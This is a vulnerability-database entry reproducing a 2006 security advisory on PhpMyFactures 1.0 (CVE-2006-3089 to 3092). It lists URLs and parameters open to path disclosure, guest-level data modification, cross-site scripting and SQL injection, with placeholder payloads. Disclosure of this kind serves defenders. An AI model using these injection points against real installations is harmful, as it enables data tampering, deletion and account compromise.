PhpMyFactures 1.0 Cross Site Scripting, SQL Injection, Full Path Disclosure and others

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1053196 漏洞类型
发布时间 2006-06-20 更新时间 2006-06-20
CVE编号 CVE-2006-3092
CVE-2006-3091
CVE-2006-3090
CVE-2006-3089
CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2006060116
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
PhpMyFactures 1.0

*****************

Full Path Disclosure

********************

[Guest] http://[...]/verif.php

[Guest] http://[...]/inc/footer.php

[Guest] http://[...]/remises/ajouter_remise.php

Informations modification

*************************

[Guest] http://[...]/tva/ajouter_tva.php?action=send&tva=[DIGITS]

[Guest] http://[...]/remises/ajouter_remise.php?action=send&titre=[TITLE]&taux=[
DIGITS]

[Guest] http://[...]/pays/ajouter_pays.php?pays=[COUNTRY]&prefixe=[PHONE_PREFIX]

[Guest] http://[...]/pays/modifier_pays.php?pays=[COUNTRY]&prefixe=[PHONE_PREFIX
]&id_pays=[COUNTRY_ID]

[Guest] http://[...]/produits/ajouter_cat.php?titre=[TITLE]

[Guest] http://[...]/produits/ajouter_produit.php?action=send&titre=[TITLE]&desc
ription=[DESCRIPTION]&priv_vente_ht=[PRICE]&id_taux_tva=[DIGITS]&stock=[
DIGIT]

[Guest] http://[...]/produits/modifier_cat.php?action=send&id_cat=[ID]&titre=[TI
TLE]

[Guest] http://[...]/clients/ajouter_client.php?action=send&nom=[NAME]&prenom=[S
URNAME]&societe=[ENTERPRISE]&adresse=[ADRESS]&adresse2=[ADRESS2]&ville=[
CITY]&code_postal=[DIGIT]&telephone=[PHONE]&fax=[FAX]&portable=[PHONE]&e
mail=[EMAIL]

[Guest] http://[...]/clients/modifier_client.php?action=send&id_client=[ID]&nom=
[NAME]&prenom=[SURNAME]&societe=[ENTERPRISE]&adresse=[ADRESS]&adresse2=[
ADRESS2]&ville=[CITY]&code_postal=[DIGIT]&telephone=[PHONE]&fax=[FAX]&po
rtable=[PHONE]&email=[EMAIL]

Cross Site Scripting

********************

[Guest] http://[...]/inc/header.php?prefixe_dossier=">[XSS]

[Admin] http://[...]/remises/ajouter_remise.php?msg=">[XSS]

[Admin] http://[...]/remises/ajouter_remise.php?tire=">[XSS]

[Admin] http://[...]/tva/ajouter_tva.php?msg=">[XSS]

[Admin] http://[...]/stocks/ajouter.php?id_produit=1&msg=[XSS]&quantite=">[XSS]&
taux=">[XSS]&date=">[XSS]

[Admin] http://[...]/pays/ajouter_pays.php?msg=[XSS]&pays=">[XSS]&prefixe=">[XSS
]

[Admin] http://[...]/produits/ajouter_cat.php?msg=[XSS]

[Admin] http://[...]/produits/ajouter_produit.php?msg=[XSS]

[Admin] http://[...]/produits/modifier_cat.php?msg=[XSS]

SQL Injection

*************

[Admin] http://[...]/remises/index.php?action=delete&id_remise=1"[SQL_DELETE]

[Admin] http://[...]/tva/index.php?action=delete&id_taux=1"[SQL_SELECT]

[Admin] http://[...]/stocks/index.php?action=delete&ref_produit=1"[SQL_SELECT]&i
d_stock=1"[SQL_DELETE]&ref_produit=1"[SQL_SELECT]

[Admin] http://[...]/pays/index.php?action=delete&id_pays=1"[SQL_SELECT]

[Admin] http://[...]/produits/index.php?action=delete&id_cat=1[SQL_DELETE]

[Guest] http://[...]/pays/modifier_pays.php?action=send&id_pays=1"[SQL_SELECT/UP
DATE]

[Guest] http://[...]/produits/ajouter_cat.php?titre=[SQL_INSERT]

[Guest] http://[...]/stocks/ajouter.php?id_produit=1"[SQL_SELECT]&quantite=[SQL_
INSERT]&prix_ht=[SQL_INSERT]&date=[SQL_INSERT]

[Guest] http://[...]/produits/modifier_cat.php?id_cat="[SQL_SELECT]

[Guest] http://[...]/clients/modifier_client.php?id_client=1"[SQL_SELECT]

Credits

*******

by DarkFig - http://www.acid-root.new.fr/advisories/phpmyfactures.txt